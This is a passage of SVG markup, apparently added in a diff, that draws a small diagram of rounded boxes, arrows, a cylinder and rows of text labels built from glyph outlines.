+<path style="stroke:none;" d="M 6.328125 -3.15625 L 4.953125 -3.15625 L 4.953125 0 L 3.90625 0 L 3.90625 -3.15625 L 0.296875 -3.15625 L 0.296875 -3.65625 L 4.1875 -10.4375 L 4.953125 -10.4375 L 4.953125 -4.109375 L 6.328125 -4.109375 Z M 3.90625 -7.390625 L 4.078125 -8.65625 L 4.03125 -8.65625 L 3.59375 -7.53125 L 1.984375 -4.71875 L 1.421875 -4 L 2.234375 -4.109375 L 3.90625 -4.109375 Z M 3.90625 -7.390625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-34">
+<path style="stroke:none;" d="M 1.359375 -10.265625 L 2.46875 -10.265625 L 2.46875 -2.296875 C 2.46875 -1.492188 2.335938 -0.882812 2.078125 -0.46875 C 1.816406 -0.0625 1.363281 0.140625 0.71875 0.140625 C 0.5625 0.140625 0.375 0.117188 0.15625 0.078125 C -0.0625 0.046875 -0.238281 -0.0078125 -0.375 -0.09375 L -0.140625 -1.046875 C -0.046875 -0.984375 0.0546875 -0.9375 0.171875 -0.90625 C 0.296875 -0.875 0.425781 -0.859375 0.5625 -0.859375 C 0.738281 -0.859375 0.878906 -0.894531 0.984375 -0.96875 C 1.085938 -1.050781 1.171875 -1.164062 1.234375 -1.3125 C 1.296875 -1.457031 1.332031 -1.628906 1.34375 -1.828125 C 1.351562 -2.023438 1.359375 -2.253906 1.359375 -2.515625 Z M 1.359375 -10.265625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-35">
+<path style="stroke:none;" d="M 2.6875 -2.59375 L 3 -1.171875 L 3.0625 -1.171875 L 3.28125 -2.59375 L 4.40625 -7.328125 L 5.46875 -7.328125 L 3.734375 -0.75 C 3.585938 -0.21875 3.445312 0.273438 3.3125 0.734375 C 3.175781 1.191406 3.023438 1.585938 2.859375 1.921875 C 2.703125 2.265625 2.523438 2.53125 2.328125 2.71875 C 2.128906 2.90625 1.890625 3 1.609375 3 C 1.335938 3 1.097656 2.957031 0.890625 2.875 L 1.078125 1.875 C 1.210938 1.925781 1.347656 1.9375 1.484375 1.90625 C 1.617188 1.875 1.742188 1.789062 1.859375 1.65625 C 1.984375 1.519531 2.097656 1.316406 2.203125 1.046875 C 2.304688 0.773438 2.398438 0.425781 2.484375 0 L 0.109375 -7.328125 L 1.3125 -7.328125 Z M 2.6875 -2.59375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-36">
+<path style="stroke:none;" d="M 5.234375 -10.265625 L 5.234375 -9.25 L 2.453125 -9.25 L 2.453125 -6.25 L 2.953125 -6.296875 C 3.734375 -6.285156 4.347656 -6.015625 4.796875 -5.484375 C 5.242188 -4.953125 5.472656 -4.195312 5.484375 -3.21875 C 5.472656 -2.664062 5.390625 -2.175781 5.234375 -1.75 C 5.085938 -1.332031 4.878906 -0.976562 4.609375 -0.6875 C 4.347656 -0.40625 4.039062 -0.191406 3.6875 -0.046875 C 3.34375 0.0976562 2.96875 0.171875 2.5625 0.171875 C 1.894531 0.171875 1.351562 0.078125 0.9375 -0.109375 L 1.203125 -1.046875 C 1.378906 -0.953125 1.570312 -0.890625 1.78125 -0.859375 C 2 -0.828125 2.25 -0.8125 2.53125 -0.8125 C 3.09375 -0.8125 3.546875 -1.015625 3.890625 -1.421875 C 4.242188 -1.828125 4.425781 -2.394531 4.4375 -3.125 C 4.425781 -3.875 4.242188 -4.429688 3.890625 -4.796875 C 3.546875 -5.160156 3.066406 -5.34375 2.453125 -5.34375 L 1.484375 -5.265625 L 1.484375 -10.265625 Z M 5.234375 -10.265625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-37">
+<path style="stroke:none;" d="M 4.78125 -7.328125 L 6.09375 -3.046875 L 6.359375 -1.640625 L 6.375 -1.640625 L 6.609375 -3.078125 L 7.59375 -7.328125 L 8.59375 -7.328125 L 6.640625 0.15625 L 6.046875 0.15625 L 4.5625 -4.65625 L 4.359375 -5.890625 L 4.328125 -5.890625 L 4.125 -4.640625 L 2.6875 0.15625 L 2.078125 0.15625 L 0.078125 -7.328125 L 1.203125 -7.328125 L 2.328125 -3.0625 L 2.515625 -1.640625 L 2.53125 -1.640625 L 2.796875 -3.09375 L 4 -7.328125 Z M 4.78125 -7.328125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-38">
+<path style="stroke:none;" d="M 1.0625 -10.265625 L 2.0625 -10.265625 L 1.6875 -7.4375 L 1.0625 -7.4375 Z M 1.0625 -10.265625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-39">
+<path style="stroke:none;" d="M 4.625 0 L 4.625 -4.453125 C 4.625 -5.140625 4.539062 -5.660156 4.375 -6.015625 C 4.21875 -6.378906 3.898438 -6.5625 3.421875 -6.5625 C 3.078125 -6.5625 2.765625 -6.4375 2.484375 -6.1875 C 2.203125 -5.945312 2.015625 -5.640625 1.921875 -5.265625 L 1.921875 0 L 0.859375 0 L 0.859375 -10.265625 L 1.921875 -10.265625 L 1.921875 -6.640625 L 1.96875 -6.640625 C 2.164062 -6.898438 2.40625 -7.109375 2.6875 -7.265625 C 2.976562 -7.429688 3.335938 -7.515625 3.765625 -7.515625 C 4.085938 -7.515625 4.367188 -7.46875 4.609375 -7.375 C 4.847656 -7.289062 5.046875 -7.140625 5.203125 -6.921875 C 5.359375 -6.710938 5.472656 -6.425781 5.546875 -6.0625 C 5.628906 -5.707031 5.671875 -5.265625 5.671875 -4.734375 L 5.671875 0 Z M 4.625 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-40">
+<path style="stroke:none;" d="M 1.125 -6.5625 C 1.125 -6.84375 1.1875 -7.050781 1.3125 -7.1875 C 1.445312 -7.320312 1.628906 -7.390625 1.859375 -7.390625 C 2.078125 -7.390625 2.253906 -7.320312 2.390625 -7.1875 C 2.523438 -7.050781 2.59375 -6.84375 2.59375 -6.5625 C 2.59375 -6.28125 2.523438 -6.070312 2.390625 -5.9375 C 2.253906 -5.800781 2.078125 -5.734375 1.859375 -5.734375 C 1.628906 -5.734375 1.445312 -5.800781 1.3125 -5.9375 C 1.1875 -6.070312 1.125 -6.28125 1.125 -6.5625 Z M 1.125 -0.65625 C 1.125 -0.9375 1.1875 -1.144531 1.3125 -1.28125 C 1.445312 -1.414062 1.628906 -1.484375 1.859375 -1.484375 C 2.078125 -1.484375 2.253906 -1.414062 2.390625 -1.28125 C 2.523438 -1.144531 2.59375 -0.9375 2.59375 -0.65625 C 2.59375 -0.375 2.523438 -0.164062 2.390625 -0.03125 C 2.253906 0.101562 2.078125 0.171875 1.859375 0.171875 C 1.628906 0.171875 1.445312 0.101562 1.3125 -0.03125 C 1.1875 -0.164062 1.125 -0.375 1.125 -0.65625 Z M 1.125 -0.65625 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface21082">
+<rect x="0" y="0" width="681" height="170" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-dasharray:0.2,0.2;stroke-miterlimit:10;" d="M 16 12 L 50 12 L 50 20.4 L 16 20.4 Z M 16 12 " transform="matrix(20,0,0,20,-319,-239)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="471.15625" y="37.138889"/>
+  <use xlink:href="#glyph0-2" x="478.378472" y="37.138889"/>
+  <use xlink:href="#glyph0-3" x="486.434028" y="37.138889"/>
+  <use xlink:href="#glyph0-4" x="495.322917" y="37.138889"/>
+  <use xlink:href="#glyph0-5" x="500.045139" y="37.138889"/>
+  <use xlink:href="#glyph0-6" x="508.378472" y="37.138889"/>
+  <use xlink:href="#glyph0-7" x="512.545139" y="37.138889"/>
+  <use xlink:href="#glyph0-8" x="516.989583" y="37.138889"/>
+  <use xlink:href="#glyph0-9" x="525.878472" y="37.138889"/>
+  <use xlink:href="#glyph0-10" x="531.434028" y="37.138889"/>
+  <use xlink:href="#glyph0-11" x="540.322917" y="37.138889"/>
+  <use xlink:href="#glyph0-12" x="549.211806" y="37.138889"/>
+  <use xlink:href="#glyph0-13" x="558.100694" y="37.138889"/>
+  <use xlink:href="#glyph0-14" x="565.322917" y="37.138889"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-15" x="59.203125" y="35.138889"/>
+  <use xlink:href="#glyph0-9" x="67.814236" y="35.138889"/>
+  <use xlink:href="#glyph0-10" x="73.369792" y="35.138889"/>
+  <use xlink:href="#glyph0-11" x="82.258681" y="35.138889"/>
+  <use xlink:href="#glyph0-12" x="91.147569" y="35.138889"/>
+  <use xlink:href="#glyph0-13" x="100.036458" y="35.138889"/>
+  <use xlink:href="#glyph0-14" x="107.258681" y="35.138889"/>
+  <use xlink:href="#glyph0-7" x="112.814236" y="35.138889"/>
+  <use xlink:href="#glyph0-16" x="117.258681" y="35.138889"/>
+  <use xlink:href="#glyph0-3" x="128.369792" y="35.138889"/>
+  <use xlink:href="#glyph0-17" x="137.258681" y="35.138889"/>
+  <use xlink:href="#glyph0-5" x="141.703125" y="35.138889"/>
+  <use xlink:href="#glyph0-13" x="150.036458" y="35.138889"/>
+  <use xlink:href="#glyph0-14" x="157.258681" y="35.138889"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 35.3 14.293164 C 35.134375 14.293164 35 14.427344 35 14.593164 L 35 17.993164 C 35 18.158789 35.134375 18.293164 35.3 18.293164 L 48.7 18.293164 C 48.865625 18.293164 49 18.158789 49 17.993164 L 49 14.593164 C 49 14.427344 48.865625 14.293164 48.7 14.293164 Z M 35.3 14.293164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(99.215686%,87.450981%,73.333335%);stroke-opacity:1;stroke-miterlimit:10;" d="M 35 15.397266 L 49 15.397266 L 49 16.283203 L 35 16.283203 Z M 35 15.397266 " transform="matrix(20,0,0,20,-319,-239)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="388.78125" y="64.342122"/>
+  <use xlink:href="#glyph1-2" x="391.836806" y="64.342122"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-3" x="413.225694" y="64.342122"/>
+  <use xlink:href="#glyph1-4" x="419.614583" y="64.342122"/>
+  <use xlink:href="#glyph1-5" x="425.447917" y="64.342122"/>
+  <use xlink:href="#glyph1-6" x="434.892361" y="64.342122"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-7" x="462.114583" y="64.342122"/>
+  <use xlink:href="#glyph1-8" x="468.503472" y="64.342122"/>
+  <use xlink:href="#glyph1-1" x="472.392361" y="64.342122"/>
+  <use xlink:href="#glyph1-9" x="475.447917" y="64.342122"/>
+  <use xlink:href="#glyph1-6" x="480.447917" y="64.342122"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="511.003472" y="64.342122"/>
+  <use xlink:href="#glyph1-10" x="514.059028" y="64.342122"/>
+  <use xlink:href="#glyph1-2" x="517.114583" y="64.342122"/>
+  <use xlink:href="#glyph1-6" x="523.503472" y="64.342122"/>
+  <use xlink:href="#glyph1-11" x="529.614583" y="64.342122"/>
+  <use xlink:href="#glyph1-9" x="534.614583" y="64.342122"/>
+  <use xlink:href="#glyph1-8" x="539.892361" y="64.342122"/>
+  <use xlink:href="#glyph1-1" x="543.78125" y="64.342122"/>
+  <use xlink:href="#glyph1-7" x="546.836806" y="64.342122"/>
+  <use xlink:href="#glyph1-12" x="553.225694" y="64.342122"/>
+  <use xlink:href="#glyph1-1" x="557.392361" y="64.342122"/>
+  <use xlink:href="#glyph1-13" x="560.447917" y="64.342122"/>
+  <use xlink:href="#glyph1-3" x="566.836806" y="64.342122"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-14" x="388.78125" y="82.685872"/>
+  <use xlink:href="#glyph1-15" x="395.447917" y="82.685872"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-16" x="413.225694" y="82.685872"/>
+  <use xlink:href="#glyph1-1" x="420.170139" y="82.685872"/>
+  <use xlink:href="#glyph1-17" x="423.225694" y="82.685872"/>
+  <use xlink:href="#glyph1-6" x="428.78125" y="82.685872"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-18" x="462.114583" y="82.685872"/>
+  <use xlink:href="#glyph1-19" x="468.78125" y="82.685872"/>
+  <use xlink:href="#glyph1-20" x="475.447917" y="82.685872"/>
+  <use xlink:href="#glyph1-20" x="482.114583" y="82.685872"/>
+  <use xlink:href="#glyph1-21" x="488.78125" y="82.685872"/>
+  <use xlink:href="#glyph1-20" x="491.28125" y="82.685872"/>
+  <use xlink:href="#glyph1-20" x="497.947917" y="82.685872"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="511.003472" y="82.685872"/>
+  <use xlink:href="#glyph1-10" x="514.059028" y="82.685872"/>
+  <use xlink:href="#glyph1-22" x="517.114583" y="82.685872"/>
+  <use xlink:href="#glyph1-23" x="523.503472" y="82.685872"/>
+  <use xlink:href="#glyph1-6" x="529.336806" y="82.685872"/>
+  <use xlink:href="#glyph1-2" x="535.447917" y="82.685872"/>
+  <use xlink:href="#glyph1-10" x="541.836806" y="82.685872"/>
+  <use xlink:href="#glyph1-24" x="544.892361" y="82.685872"/>
+  <use xlink:href="#glyph1-6" x="551.28125" y="82.685872"/>
+  <use xlink:href="#glyph1-4" x="557.392361" y="82.685872"/>
+  <use xlink:href="#glyph1-8" x="563.225694" y="82.685872"/>
+  <use xlink:href="#glyph1-25" x="566.559028" y="82.685872"/>
+  <use xlink:href="#glyph1-10" x="568.225694" y="82.685872"/>
+  <use xlink:href="#glyph1-26" x="571.28125" y="82.685872"/>
+  <use xlink:href="#glyph1-27" x="577.670139" y="82.685872"/>
+  <use xlink:href="#glyph1-28" x="581.003472" y="82.685872"/>
+  <use xlink:href="#glyph1-6" x="587.392361" y="82.685872"/>
+  <use xlink:href="#glyph1-25" x="593.503472" y="82.685872"/>
+  <use xlink:href="#glyph1-10" x="595.170139" y="82.685872"/>
+  <use xlink:href="#glyph1-29" x="598.225694" y="82.685872"/>
+  <use xlink:href="#glyph1-4" x="602.114583" y="82.685872"/>
+  <use xlink:href="#glyph1-11" x="607.947917" y="82.685872"/>
+  <use xlink:href="#glyph1-12" x="612.947917" y="82.685872"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-14" x="388.78125" y="101.029622"/>
+  <use xlink:href="#glyph1-30" x="395.447917" y="101.029622"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-31" x="413.225694" y="101.029622"/>
+  <use xlink:href="#glyph1-6" x="421.003472" y="101.029622"/>
+  <use xlink:href="#glyph1-27" x="427.114583" y="101.029622"/>
+  <use xlink:href="#glyph1-5" x="430.447917" y="101.029622"/>
+  <use xlink:href="#glyph1-6" x="439.892361" y="101.029622"/>
+  <use xlink:href="#glyph1-12" x="446.003472" y="101.029622"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-18" x="462.114583" y="101.029622"/>
+  <use xlink:href="#glyph1-15" x="468.78125" y="101.029622"/>
+  <use xlink:href="#glyph1-20" x="475.447917" y="101.029622"/>
+  <use xlink:href="#glyph1-21" x="482.114583" y="101.029622"/>
+  <use xlink:href="#glyph1-32" x="484.614583" y="101.029622"/>
+  <use xlink:href="#glyph1-32" x="491.28125" y="101.029622"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="511.003472" y="101.029622"/>
+  <use xlink:href="#glyph1-10" x="514.059028" y="101.029622"/>
+  <use xlink:href="#glyph1-26" x="517.114583" y="101.029622"/>
+  <use xlink:href="#glyph1-27" x="523.503472" y="101.029622"/>
+  <use xlink:href="#glyph1-4" x="526.836806" y="101.029622"/>
+  <use xlink:href="#glyph1-9" x="532.670139" y="101.029622"/>
+  <use xlink:href="#glyph1-17" x="537.947917" y="101.029622"/>
+  <use xlink:href="#glyph1-25" x="543.503472" y="101.029622"/>
+  <use xlink:href="#glyph1-10" x="545.170139" y="101.029622"/>
+  <use xlink:href="#glyph1-22" x="548.225694" y="101.029622"/>
+  <use xlink:href="#glyph1-12" x="554.614583" y="101.029622"/>
+  <use xlink:href="#glyph1-11" x="558.78125" y="101.029622"/>
+  <use xlink:href="#glyph1-10" x="563.78125" y="101.029622"/>
+  <use xlink:href="#glyph1-5" x="566.836806" y="101.029622"/>
+  <use xlink:href="#glyph1-13" x="576.28125" y="101.029622"/>
+  <use xlink:href="#glyph1-11" x="582.670139" y="101.029622"/>
+  <use xlink:href="#glyph1-12" x="587.670139" y="101.029622"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-14" x="388.78125" y="119.373372"/>
+  <use xlink:href="#glyph1-33" x="395.447917" y="119.373372"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-34" x="413.225694" y="119.373372"/>
+  <use xlink:href="#glyph1-6" x="416.836806" y="119.373372"/>
+  <use xlink:href="#glyph1-8" x="422.947917" y="119.373372"/>
+  <use xlink:href="#glyph1-11" x="426.836806" y="119.373372"/>
+  <use xlink:href="#glyph1-6" x="431.836806" y="119.373372"/>
+  <use xlink:href="#glyph1-35" x="437.670139" y="119.373372"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-18" x="462.114583" y="119.373372"/>
+  <use xlink:href="#glyph1-30" x="468.78125" y="119.373372"/>
+  <use xlink:href="#glyph1-36" x="475.447917" y="119.373372"/>
+  <use xlink:href="#glyph1-21" x="482.114583" y="119.373372"/>
+  <use xlink:href="#glyph1-20" x="484.614583" y="119.373372"/>
+  <use xlink:href="#glyph1-20" x="491.28125" y="119.373372"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-10" x="511.003472" y="119.373372"/>
+  <use xlink:href="#glyph1-10" x="514.059028" y="119.373372"/>
+  <use xlink:href="#glyph1-37" x="517.114583" y="119.373372"/>
+  <use xlink:href="#glyph1-13" x="525.725694" y="119.373372"/>
+  <use xlink:href="#glyph1-5" x="532.114583" y="119.373372"/>
+  <use xlink:href="#glyph1-6" x="541.559028" y="119.373372"/>
+  <use xlink:href="#glyph1-3" x="547.670139" y="119.373372"/>
+  <use xlink:href="#glyph1-38" x="554.059028" y="119.373372"/>
+  <use xlink:href="#glyph1-11" x="556.003472" y="119.373372"/>
+  <use xlink:href="#glyph1-25" x="561.003472" y="119.373372"/>
+  <use xlink:href="#glyph1-10" x="562.670139" y="119.373372"/>
+  <use xlink:href="#glyph1-24" x="565.725694" y="119.373372"/>
+  <use xlink:href="#glyph1-8" x="572.114583" y="119.373372"/>
+  <use xlink:href="#glyph1-6" x="576.003472" y="119.373372"/>
+  <use xlink:href="#glyph1-6" x="581.836806" y="119.373372"/>
+  <use xlink:href="#glyph1-3" x="587.947917" y="119.373372"/>
+  <use xlink:href="#glyph1-10" x="594.336806" y="119.373372"/>
+  <use xlink:href="#glyph1-4" x="597.392361" y="119.373372"/>
+  <use xlink:href="#glyph1-3" x="603.225694" y="119.373372"/>
+  <use xlink:href="#glyph1-2" x="609.614583" y="119.373372"/>
+  <use xlink:href="#glyph1-10" x="616.003472" y="119.373372"/>
+  <use xlink:href="#glyph1-37" x="619.059028" y="119.373372"/>
+  <use xlink:href="#glyph1-39" x="627.670139" y="119.373372"/>
+  <use xlink:href="#glyph1-1" x="634.059028" y="119.373372"/>
+  <use xlink:href="#glyph1-12" x="637.114583" y="119.373372"/>
+  <use xlink:href="#glyph1-6" x="641.003472" y="119.373372"/>
+</g>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 35 15.397266 L 49 15.393164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 36.33457 14.293164 L 36.33457 18.293164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 38.730078 14.293164 L 38.730078 18.293164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<path style="fill:none;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 41.439258 14.293164 L 41.439258 18.293164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 35.3 14.293164 C 35.134375 14.293164 35 14.427344 35 14.593164 L 35 17.993164 C 35 18.158789 35.134375 18.293164 35.3 18.293164 L 48.7 18.293164 C 48.865625 18.293164 49 18.158789 49 17.993164 L 49 14.593164 C 49 14.427344 48.865625 14.293164 48.7 14.293164 Z M 35.3 14.293164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 17.3 14.193164 C 17.134375 14.193164 17 14.327344 17 14.493164 L 17 18.093164 C 17 18.258789 17.134375 18.393164 17.3 18.393164 L 25.7 18.393164 C 25.865625 18.393164 26 18.258789 26 18.093164 L 26 14.493164 C 26 14.327344 25.865625 14.193164 25.7 14.193164 Z M 17.3 14.193164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="29.429688" y="64.010091"/>
+  <use xlink:href="#glyph1-2" x="32.485243" y="64.010091"/>
+  <use xlink:href="#glyph1-40" x="38.874132" y="64.010091"/>
+  <use xlink:href="#glyph1-10" x="41.929688" y="64.010091"/>
+  <use xlink:href="#glyph1-14" x="44.985243" y="64.010091"/>
+  <use xlink:href="#glyph1-15" x="51.65191" y="64.010091"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-3" x="29.429688" y="82.353841"/>
+  <use xlink:href="#glyph1-4" x="35.818576" y="82.353841"/>
+  <use xlink:href="#glyph1-5" x="41.65191" y="82.353841"/>
+  <use xlink:href="#glyph1-6" x="51.096354" y="82.353841"/>
+  <use xlink:href="#glyph1-40" x="57.207465" y="82.353841"/>
+  <use xlink:href="#glyph1-10" x="60.263021" y="82.353841"/>
+  <use xlink:href="#glyph1-16" x="63.318576" y="82.353841"/>
+  <use xlink:href="#glyph1-1" x="70.263021" y="82.353841"/>
+  <use xlink:href="#glyph1-17" x="73.318576" y="82.353841"/>
+  <use xlink:href="#glyph1-6" x="78.874132" y="82.353841"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-7" x="29.429688" y="100.697591"/>
+  <use xlink:href="#glyph1-8" x="35.818576" y="100.697591"/>
+  <use xlink:href="#glyph1-1" x="39.707465" y="100.697591"/>
+  <use xlink:href="#glyph1-9" x="42.763021" y="100.697591"/>
+  <use xlink:href="#glyph1-6" x="47.763021" y="100.697591"/>
+  <use xlink:href="#glyph1-40" x="53.874132" y="100.697591"/>
+  <use xlink:href="#glyph1-10" x="56.929688" y="100.697591"/>
+  <use xlink:href="#glyph1-18" x="59.985243" y="100.697591"/>
+  <use xlink:href="#glyph1-19" x="66.65191" y="100.697591"/>
+  <use xlink:href="#glyph1-20" x="73.318576" y="100.697591"/>
+  <use xlink:href="#glyph1-20" x="79.985243" y="100.697591"/>
+  <use xlink:href="#glyph1-21" x="86.65191" y="100.697591"/>
+  <use xlink:href="#glyph1-20" x="89.15191" y="100.697591"/>
+  <use xlink:href="#glyph1-20" x="95.818576" y="100.697591"/>
+</g>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-2" x="29.429688" y="119.041341"/>
+  <use xlink:href="#glyph1-6" x="35.818576" y="119.041341"/>
+  <use xlink:href="#glyph1-11" x="41.929688" y="119.041341"/>
+  <use xlink:href="#glyph1-9" x="46.929688" y="119.041341"/>
+  <use xlink:href="#glyph1-8" x="52.207465" y="119.041341"/>
+  <use xlink:href="#glyph1-1" x="56.096354" y="119.041341"/>
+  <use xlink:href="#glyph1-7" x="59.15191" y="119.041341"/>
+  <use xlink:href="#glyph1-12" x="65.540799" y="119.041341"/>
+  <use xlink:href="#glyph1-1" x="69.707465" y="119.041341"/>
+  <use xlink:href="#glyph1-13" x="72.763021" y="119.041341"/>
+  <use xlink:href="#glyph1-3" x="79.15191" y="119.041341"/>
+  <use xlink:href="#glyph1-40" x="85.540799" y="119.041341"/>
+  <use xlink:href="#glyph1-10" x="88.596354" y="119.041341"/>
+  <use xlink:href="#glyph1-22" x="91.65191" y="119.041341"/>
+  <use xlink:href="#glyph1-23" x="98.040799" y="119.041341"/>
+  <use xlink:href="#glyph1-6" x="103.874132" y="119.041341"/>
+  <use xlink:href="#glyph1-2" x="109.985243" y="119.041341"/>
+  <use xlink:href="#glyph1-10" x="116.374132" y="119.041341"/>
+  <use xlink:href="#glyph1-24" x="119.429688" y="119.041341"/>
+  <use xlink:href="#glyph1-6" x="125.818576" y="119.041341"/>
+  <use xlink:href="#glyph1-4" x="131.929688" y="119.041341"/>
+  <use xlink:href="#glyph1-8" x="137.763021" y="119.041341"/>
+  <use xlink:href="#glyph1-25" x="141.096354" y="119.041341"/>
+  <use xlink:href="#glyph1-10" x="142.763021" y="119.041341"/>
+  <use xlink:href="#glyph1-26" x="145.818576" y="119.041341"/>
+  <use xlink:href="#glyph1-27" x="152.207465" y="119.041341"/>
+  <use xlink:href="#glyph1-28" x="155.540799" y="119.041341"/>
+  <use xlink:href="#glyph1-6" x="161.929688" y="119.041341"/>
+  <use xlink:href="#glyph1-25" x="168.040799" y="119.041341"/>
+  <use xlink:href="#glyph1-10" x="169.707465" y="119.041341"/>
+  <use xlink:href="#glyph1-29" x="172.763021" y="119.041341"/>
+  <use xlink:href="#glyph1-4" x="176.65191" y="119.041341"/>
+  <use xlink:href="#glyph1-11" x="182.485243" y="119.041341"/>
+  <use xlink:href="#glyph1-12" x="187.485243" y="119.041341"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 26.994141 15.293164 L 33.444141 15.293164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 33.444141 15.543164 L 33.944141 15.293164 L 33.444141 15.043164 Z M 33.444141 15.543164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 27.555859 17.293164 L 34.005859 17.293164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 27.555859 17.043164 L 27.055859 17.293164 L 27.555859 17.543164 Z M 27.555859 17.043164 " transform="matrix(20,0,0,20,-319,-239)"/>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 29.3 18.4 C 29.307617 19.057227 29.842773 19.586133 30.5 19.586133 C 31.157227 19.586133 31.692383 19.057227 31.7 18.4 C 31.7 17 31.7 15.6 31.7 14.2 C 31.7 13.881836 31.573633 13.576562 31.348437 13.351562 C 31.123438 13.126367 30.818164 13 30.5 13 C 30.181836 13 29.876562 13.126367 29.651563 13.351562 C 29.426367 13.576562 29.3 13.881836 29.3 14.2 C 29.3 15.6 29.3 17 29.3 18.4 Z M 29.3 18.4 " transform="matrix(20,0,0,20,-319,-239)"/>
